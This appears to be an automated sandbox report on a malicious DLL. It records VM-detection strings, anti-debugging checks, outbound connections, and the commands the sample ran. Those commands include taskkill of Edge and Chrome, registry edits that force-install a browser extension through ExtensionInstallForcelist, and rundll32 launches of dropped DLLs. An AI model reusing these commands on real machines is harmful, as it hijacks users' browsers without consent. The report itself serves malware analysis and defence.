Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 0000000F.00000002.1529325871.000000000320A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-)
Source: svchost.exe, 0000000A.00000002.3167280672.0000019AED07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000A.00000002.3166441898.0000019AED02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000006.00000002.1532997737.0000000004D23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: rundll32.exe, 00000006.00000002.1532068572.0000000002DFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: rundll32.exe, 00000006.00000002.1532289168.0000000002EBB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1531203206.0000000002EBB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508449489.0000000004CC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.3165369436.0000019AED002000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: rundll32.exe, 00000006.00000002.1532289168.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{5=J
Source: svchost.exe, 0000000A.00000002.3167552753.0000019AED08C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 0000000F.00000003.1529014689.0000000003255000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529379708.0000000003255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPs,
Source: rundll32.exe, 00000007.00000003.1506478813.0000000002D8E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 0000000A.00000002.3167280672.0000019AED064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000es
Source: svchost.exe, 00000008.00000002.3166386079.00000257B862B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1349624943.000000000323D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1369333981.000000000323D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046B4F9B IsDebuggerPresent,OutputDebugStringW,

6_2_046B4F9B

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD9797C80 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

33_2_0000021BD9797C80

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD9431090 VirtualAlloc,VirtualProtect,LoadLibraryA,GetProcAddress,

33_2_0000021BD9431090

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C1C29 mov eax, dword ptr fs:[00000030h]	6_2_046C1C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046BB6DE mov ecx, dword ptr fs:[00000030h]	6_2_046BB6DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02E57444 mov eax, dword ptr fs:[00000030h]	6_2_02E57444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04601C29 mov eax, dword ptr fs:[00000030h]	7_2_04601C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045FB6DE mov ecx, dword ptr fs:[00000030h]	7_2_045FB6DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_02D27364 mov eax, dword ptr fs:[00000030h]	7_2_02D27364
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0346B6DE mov ecx, dword ptr fs:[00000030h]	15_2_0346B6DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03471C29 mov eax, dword ptr fs:[00000030h]	15_2_03471C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_032673E4 mov eax, dword ptr fs:[00000030h]	15_2_032673E4

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046C6017 GetProcessHeap,

6_2_046C6017

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B4D53 SetUnhandledExceptionFilter,	6_2_046B4D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B406B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_046B406B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B4BC0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_046B4BC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B8BB3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_046B8BB3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_6D4BDE7D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_6D4BDE7D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_6D4BE069 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_6D4BE069
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F4D53 SetUnhandledExceptionFilter,	7_2_045F4D53
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F406B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_045F406B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F4BC0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_045F4BC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F8BB3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_045F8BB3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03464BC0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_03464BC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03468BB3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_03468BB3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0346406B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0346406B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03464D53 SetUnhandledExceptionFilter,	15_2_03464D53
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD943A208 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0000021BD943A208
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD943D5D0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0000021BD943D5D0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD94460F8 SetUnhandledExceptionFilter,	33_2_0000021BD94460F8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D88660F8 SetUnhandledExceptionFilter,	34_2_00000166D88660F8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D885D5D0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_00000166D885D5D0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D885A208 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_00000166D885A208
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66E86AC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000001C9C66E86AC
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66EDC78 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000001C9C66EDC78
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66F8100 SetUnhandledExceptionFilter,	39_2_000001C9C66F8100
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85BE1FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000001C9C85BE1FC
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85E6410 SetUnhandledExceptionFilter,	39_2_000001C9C85E6410

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 172.67.207.72 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 138.199.40.58 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 104.21.24.192 80	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046AC780 GetCurrentDirectoryW,GetModuleFileNameW,ShellExecuteExW,GetLastError,WaitForSingleObject,GetExitCodeProcess,CloseHandle,

6_2_046AC780

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Edge\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2.E /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD97888C0 OpenEventW,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateEventW,

33_2_0000021BD97888C0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046AC8E0 AllocateAndInitializeSid,CheckTokenMembership,GetLastError,FreeSid,

6_2_046AC8E0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046B499C cpuid

6_2_046B499C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	6_2_046C8549
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_046C8672
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_046C265B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_046C7EE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	6_2_046C8778
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_046C8847
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoEx,FormatMessageA,	6_2_046B30F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_046C81D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_046C8185
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	6_2_046C826B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_046C82F6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	6_2_046C2B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	7_2_04608549
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_04608672
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	7_2_0460265B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	7_2_04607EE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	7_2_04608778
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_04608847
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoEx,FormatMessageA,	7_2_045F30F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	7_2_046081D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	7_2_04608185
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	7_2_0460826B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_046082F6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	7_2_04602B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	15_2_03472B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	15_2_0347826B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	15_2_034782F6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	15_2_034781D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	15_2_03478185
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	15_2_03478847
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoEx,FormatMessageA,	15_2_034630F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	15_2_03478778
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	15_2_0347265B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	15_2_03478672
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	15_2_03477EE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	15_2_03478549
Source: C:\Windows\System32\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	33_2_0000021BD979D88C
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,__crtGetLocaleInfoEx,GetACP,	33_2_0000021BD97A1884
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,malloc,__crtGetLocaleInfoEx,WideCharToMultiByte,free,	33_2_0000021BD979D720
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,	33_2_0000021BD97A1938
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,__crtGetUserDefaultLocaleName,_getptd,_getptd,LcidFromHexString,GetLocaleInfoW,	33_2_0000021BD97A19A0
Source: C:\Windows\System32\rundll32.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	33_2_0000021BD979DC04
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	33_2_0000021BD979DB44
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	33_2_0000021BD97A1DCC
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,TestDefaultLanguage,	33_2_0000021BD97A1E60
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	33_2_0000021BD97A1D18
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,TestDefaultLanguage,	33_2_0000021BD97A2090
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	33_2_0000021BD97A21DC
Source: C:\Windows\System32\rundll32.exe	Code function: ___lc_locale_name_func,__crtGetLocaleInfoEx,	33_2_0000021BD97C61D4
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale_downlevel,__get_qualified_locale,__lc_lctowcs,__crtGetLocaleInfoEx,GetACP,	33_2_0000021BD9799298
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,GetLocaleInfoW,	33_2_0000021BD97A228C
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	33_2_0000021BD97D31B0
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,TestDefaultCountry,__crtGetLocaleInfoEx,TestDefaultCountry,_getptd,__crtGetLocaleInfoEx,	33_2_0000021BD97A1418
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,_getptd,EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,__crtDownlevelLCIDToLocaleName,__crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,_itow_s,	33_2_0000021BD97A23D0
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,__crtGetLocaleInfoEx,_calloc_crt,__crtGetLocaleInfoEx,free,__crtGetLocaleInfoEx,	33_2_0000021BD9794680
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoEx,__crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	34_2_00000166D8F4DC04
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	34_2_00000166D8F51D18
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,TestDefaultLanguage,	34_2_00000166D8F51E60
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,EnumSystemLocalesW,	34_2_00000166D8F51DCC
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,TestDefaultLanguage,	34_2_00000166D8F52090
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	34_2_00000166D8F83198
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale_downlevel,__get_qualified_locale,__lc_lctowcs,__crtGetLocaleInfoEx,GetACP,	34_2_00000166D8F49298
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,GetLocaleInfoW,	34_2_00000166D8F5228C
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	34_2_00000166D8F521DC
Source: C:\Windows\System32\rundll32.exe	Code function: ___lc_locale_name_func,__crtGetLocaleInfoEx,	34_2_00000166D8F761D4
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	34_2_00000166D8F831B0
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,TestDefaultCountry,__crtGetLocaleInfoEx,TestDefaultCountry,_getptd,__crtGetLocaleInfoEx,	34_2_00000166D8F51418
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,_getptd,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,_getptd,EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,__crtDownlevelLCIDToLocaleName,__crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,_itow_s,	34_2_00000166D8F523D0
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,__crtGetLocaleInfoEx,_calloc_crt,__crtGetLocaleInfoEx,free,__crtGetLocaleInfoEx,	34_2_00000166D8F44680
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,malloc,__crtGetLocaleInfoEx,WideCharToMultiByte,free,	34_2_00000166D8F4D720
Source: C:\Windows\System32\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	34_2_00000166D8F4D88C
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,__crtGetLocaleInfoEx,GetACP,	34_2_00000166D8F51884
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,__crtGetUserDefaultLocaleName,_getptd,_getptd,LcidFromHexString,GetLocaleInfoW,	34_2_00000166D8F519A0
Source: C:\Windows\System32\rundll32.exe	Code function: __crtGetLocaleInfoEx,	34_2_00000166D8F51938
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	34_2_00000166D8F4DB44
Source: C:\Windows\System32\rundll32.exe	Code function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,GetCPInfo,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,	39_2_000001C9C85BB1B8
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	39_2_000001C9C85BF25C
Source: C:\Windows\System32\rundll32.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	39_2_000001C9C85BF31C
Source: C:\Windows\System32\rundll32.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale_downlevel,__get_qualified_locale,__lc_lctowcs,__crtGetLocaleInfoEx,GetACP,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,	39_2_000001C9C85C3510
